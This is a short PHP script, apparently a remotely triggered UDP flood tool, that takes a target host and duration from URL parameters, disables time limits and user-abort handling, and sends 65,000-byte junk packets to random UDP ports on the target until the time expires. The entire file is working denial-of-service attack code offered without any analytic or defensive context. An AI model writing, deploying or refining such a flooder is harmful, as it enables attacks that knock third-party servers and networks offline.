<?php  //UDP  if(isset($_GET['host'])&&isset($_GET['time'])){      $packets = 0;      ignore_user_abort(TRUE);      set_time_limit(0);            $exec_time = $_GET['time'];            $time = time();      //print "Started: ".time('d-m-y h:i:s')."<br>";      $max_time = $time+$exec_time;       $host = $_GET['host'];            for($i=0;$i<65000;$i++){              $out .= 'X';      }      while(1){      $packets++;              if(time() > $max_time){                      break;              }              $rand = rand(1,65000);              $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);              if($fp){                      fwrite($fp, $out);                      fclose($fp);              }      }      echo 'true';  }else{ echo 'data null';  }  ?>